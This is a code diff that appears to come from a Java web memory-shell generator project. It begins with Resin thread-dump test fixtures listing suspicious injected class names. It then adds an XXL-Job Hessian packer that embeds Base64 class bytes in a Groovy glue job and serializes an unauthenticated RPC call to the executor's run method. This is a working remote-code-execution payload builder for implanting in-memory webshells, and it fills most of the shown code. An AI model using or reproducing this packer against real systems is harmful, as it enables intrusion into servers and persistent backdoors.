at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:727)
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"http--8080-4$1925258971" #24 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
at java.net.SocketInputStream.read(SocketInputStream.java:171)
at java.net.SocketInputStream.read(SocketInputStream.java:141)
at com.caucho.vfs.SocketStream.read(SocketStream.java:175)
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1018)
at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337)
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678)
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"http--8080-2$708538022" #30 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
at java.net.SocketInputStream.read(SocketInputStream.java:171)
at java.net.SocketInputStream.read(SocketInputStream.java:141)
at com.caucho.vfs.SocketStream.read(SocketStream.java:175)
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1018)
at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337)
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678)
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"hmux-127.0.0.1:6800-7$385288296" #18 daemon [RUNNABLE]
"hmux-127.0.0.1:6800-1$348708712" #23 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
@@ -246,28 +217,14 @@ ThreadStacks:
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"resin-7" #22 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@5f6e15ef
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:727)
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"resin-2" #17 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@9f9d468
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:727)
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"resin-block-manager-writer" #26 daemon [WAITING] on java.util.ArrayList@512edc
"resin-block-manager-writer" #26 daemon [WAITING] on java.util.ArrayList@2a105a0
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:502)
at com.caucho.db.store.BlockManager$BlockManagerWriter.run(BlockManager.java:354)
at java.lang.Thread.run(Thread.java:750)
"resin-1" #16 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@8c158be
"resin-10" #25 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@448ee949
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:727)
@@ -284,7 +241,26 @@ ThreadStacks:
at com.caucho.server.resin.Resin.waitForExit(Resin.java:1270)
at com.caucho.server.resin.Resin.main(Resin.java:1372)
"http--8080-13$1910701450" #35 daemon [RUNNABLE]
"http--8080-12$1111547815" #37 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
at java.net.SocketInputStream.read(SocketInputStream.java:171)
at java.net.SocketInputStream.read(SocketInputStream.java:141)
at com.caucho.vfs.SocketStream.read(SocketStream.java:175)
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1018)
at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337)
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678)
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"resin-alarm" #14 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at java.lang.Thread.sleep(Native Method)
at com.caucho.util.Alarm$AlarmThread.run(Alarm.java:599)
"hmux-127.0.0.1:6800-6$1540304996" #18 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
@@ -308,26 +284,7 @@ ThreadStacks:
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
at java.lang.Thread.run(Thread.java:750)
"resin-port-6800" #27 daemon [TIMED_WAITING] on com.caucho.server.cluster.ClusterPort@27aff524
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at com.caucho.server.port.Port.run(Port.java:1526)
at java.lang.Thread.run(Thread.java:750)
"resin-thread-launcher" #12 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$ThreadLauncher@60b22f2d
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at com.caucho.util.ThreadPool$ThreadLauncher.startConnection(ThreadPool.java:858)
at com.caucho.util.ThreadPool$ThreadLauncher.run(ThreadPool.java:881)
at java.lang.Thread.run(Thread.java:750)
"resin-thread-scheduler" #13 daemon [TIMED_WAITING] on java.util.ArrayList@699cda29
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at com.caucho.util.ThreadPool$ScheduleThread.run(ThreadPool.java:925)
at java.lang.Thread.run(Thread.java:750)
"http--8080-1$1209030638" #33 daemon [RUNNABLE]
"http--8080-15$1220064471" #36 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
@@ -340,27 +297,68 @@ ThreadStacks:
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"hmux-127.0.0.1:6800-8$1168961042" #32 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
at java.net.ServerSocket.accept(ServerSocket.java:528)
at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91)
at com.caucho.server.port.Port.accept(Port.java:1182)
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659)
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"resin-18" #37 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@6b9a6b0c
"resin-0" #15 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@2ecc777f
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:727)
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"hmux-127.0.0.1:6800-0$596442995" #21 daemon [RUNNABLE]
"http--8080-11$357057343" #35 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
at java.net.SocketInputStream.read(SocketInputStream.java:171)
at java.net.SocketInputStream.read(SocketInputStream.java:141)
at com.caucho.vfs.SocketStream.read(SocketStream.java:175)
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1018)
at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337)
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678)
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"http--8080-0$538141476" #34 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
at java.net.SocketInputStream.read(SocketInputStream.java:171)
at java.net.SocketInputStream.read(SocketInputStream.java:141)
at com.caucho.vfs.SocketStream.read(SocketStream.java:175)
at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1018)
at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337)
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678)
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@3088d52c
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:502)
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
"resin-thread-scheduler" #13 daemon [TIMED_WAITING] on java.util.ArrayList@3a8e4a98
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at com.caucho.util.ThreadPool$ScheduleThread.run(ThreadPool.java:925)
at java.lang.Thread.run(Thread.java:750)
"resin-port-6800" #27 daemon [TIMED_WAITING] on com.caucho.server.cluster.ClusterPort@9f92821
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at com.caucho.server.port.Port.run(Port.java:1526)
at java.lang.Thread.run(Thread.java:750)
"resin-thread-launcher" #12 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$ThreadLauncher@44c3c1ee
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at com.caucho.util.ThreadPool$ThreadLauncher.startConnection(ThreadPool.java:858)
at com.caucho.util.ThreadPool$ThreadLauncher.run(ThreadPool.java:881)
at java.lang.Thread.run(Thread.java:750)
"http--8080-14$1789074013" #38 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
@@ -373,7 +371,20 @@ ThreadStacks:
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"http--8080-6$670917762" #19 daemon [RUNNABLE]
"hmux-127.0.0.1:6800-8$344599349" #31 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
at java.net.ServerSocket.accept(ServerSocket.java:528)
at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91)
at com.caucho.server.port.Port.accept(Port.java:1182)
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659)
at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743)
at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662)
at java.lang.Thread.run(Thread.java:750)
"http--8080-5$596442995" #20 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.PlainSocketImpl.socketAccept(Native Method)
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
@@ -392,6 +403,8 @@ ThreadStacks:
StackClassNames:
Base64ClassLoaderServlet
EmptyFilter
ServletNameTestFilter
UrlMappingTestFilter
com.caucho.db.store.BlockManager$BlockManagerWriter
com.caucho.server.dispatch.FilterFilterChain
com.caucho.server.dispatch.ServletFilterChain
@@ -410,4 +423,4 @@ com.caucho.vfs.AbstractPrintWriter
com.caucho.vfs.QServerSocketWrapper
com.caucho.vfs.ReadStream
com.caucho.vfs.SocketStream
org.junit.otVzv.ErrorHandler
org.apache.HkNKV.ErrorXokxzHandler
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
@@ -50,6 +50,9 @@ import com.reajason.javaweb.packer.velocity.VelocityPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker;
import com.reajason.javaweb.packer.xxljob.XxlJobHessianPacker;
import com.reajason.javaweb.packer.xxljob.XxlJobJsonPacker;
import com.reajason.javaweb.packer.xxljob.XxlJobPacker;
import lombok.Getter;
import java.util.List;
@@ -180,6 +183,8 @@ public enum Packers {
GroovyTransformJar(new GroovyTransformJarPacker()),
XxlJob(new XxlJobPacker()),
XxlJobJson(new XxlJobJsonPacker(), XxlJobPacker.class),
XxlJobHessian(new XxlJobHessianPacker(), XxlJobPacker.class),
;
private final Packer instance;
private Class<?> parentPacker = null;
@@ -0,0 +1,57 @@
package com.reajason.javaweb.packer.xxljob;
import com.caucho.hessian.io.Hessian2Output;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Util;
import com.xxl.job.core.biz.model.TriggerParam;
import com.xxl.rpc.remoting.net.params.XxlRpcRequest;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.util.Base64;
import java.util.UUID;
/**
* @author ReaJason
* @since 2026/07/14
*/
public class XxlJobHessianPacker implements Packer {
private final String template = Util.loadTemplateFromResource("/memshell-party/XXL-Job-DefineClass.java");
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
String source = template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", config.getClassBytesBase64Str());
TriggerParam triggerParam = new TriggerParam();
triggerParam.setJobId(1);
triggerParam.setExecutorHandler("demoJobHandler");
triggerParam.setExecutorParams("demoJobHandler");
triggerParam.setExecutorBlockStrategy("COVER_EARLY");
triggerParam.setExecutorTimeout(0);
triggerParam.setLogId(1);
triggerParam.setLogDateTime(System.currentTimeMillis());
triggerParam.setGlueType("GLUE_GROOVY");
triggerParam.setGlueSource(source);
triggerParam.setGlueUpdatetime(System.currentTimeMillis());
triggerParam.setBroadcastIndex(0);
triggerParam.setBroadcastTotal(0);
XxlRpcRequest rpcRequest = new XxlRpcRequest();
rpcRequest.setRequestId(UUID.randomUUID().toString());
rpcRequest.setCreateMillisTime(System.currentTimeMillis());
rpcRequest.setAccessToken(null);
rpcRequest.setClassName("com.xxl.job.core.biz.ExecutorBiz");
rpcRequest.setMethodName("run");
rpcRequest.setParameterTypes(new Class<?>[]{TriggerParam.class});
rpcRequest.setParameters(new Object[]{triggerParam});
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(bos);
hessian2Output.writeObject(rpcRequest);
hessian2Output.flush();
return Base64.getEncoder().encodeToString(bos.toByteArray());
}
}
@@ -1,7 +1,10 @@
package com.reajason.javaweb.packer;
package com.reajason.javaweb.packer.xxljob;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Util;
import lombok.SneakyThrows;
import java.util.HashMap;
@@ -11,7 +14,7 @@ import java.util.Map;
* @author ReaJason
* @since 2025/1/21
*/
public class XxlJobPacker implements Packer {
public class XxlJobJsonPacker implements Packer {
private final String template = Util.loadTemplateFromResource("/memshell-party/XXL-Job-DefineClass.java");
private final ObjectMapper objectMapper = new ObjectMapper().enable(SerializationFeature.INDENT_OUTPUT);
@@ -0,0 +1,10 @@
package com.reajason.javaweb.packer.xxljob;
import com.reajason.javaweb.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2025/1/21
*/
public class XxlJobPacker implements AggregatePacker {
}
@@ -0,0 +1,56 @@
package com.xxl.job.core.biz.model;
import java.io.Serializable;
public class TriggerParam implements Serializable {
private static final long serialVersionUID = 42L;
private int jobId;
private String executorHandler;
private String executorParams;
private String executorBlockStrategy;
private int executorTimeout;
private long logId;
private long logDateTime;
private String glueType;
private String glueSource;
private long glueUpdatetime;
private int broadcastIndex;
private int broadcastTotal;
public int getJobId() { return jobId; }
public void setJobId(int jobId) { this.jobId = jobId; }
public String getExecutorHandler() { return executorHandler; }
public void setExecutorHandler(String executorHandler) { this.executorHandler = executorHandler; }
public String getExecutorParams() { return executorParams; }
public void setExecutorParams(String executorParams) { this.executorParams = executorParams; }
public String getExecutorBlockStrategy() { return executorBlockStrategy; }
public void setExecutorBlockStrategy(String executorBlockStrategy) { this.executorBlockStrategy = executorBlockStrategy; }
public int getExecutorTimeout() { return executorTimeout; }
public void setExecutorTimeout(int executorTimeout) { this.executorTimeout = executorTimeout; }
public long getLogId() { return logId; }
public void setLogId(long logId) { this.logId = logId; }
public long getLogDateTime() { return logDateTime; }
public void setLogDateTime(long logDateTime) { this.logDateTime = logDateTime; }
public String getGlueType() { return glueType; }
public void setGlueType(String glueType) { this.glueType = glueType; }
public String getGlueSource() { return glueSource; }
public void setGlueSource(String glueSource) { this.glueSource = glueSource; }
public long getGlueUpdatetime() { return glueUpdatetime; }
public void setGlueUpdatetime(long glueUpdatetime) { this.glueUpdatetime = glueUpdatetime; }
public int getBroadcastIndex() { return broadcastIndex; }
public void setBroadcastIndex(int broadcastIndex) { this.broadcastIndex = broadcastIndex; }
public int getBroadcastTotal() { return broadcastTotal; }
public void setBroadcastTotal(int broadcastTotal) { this.broadcastTotal = broadcastTotal; }
}

Some files were not shown because too many files have changed in this diff Show More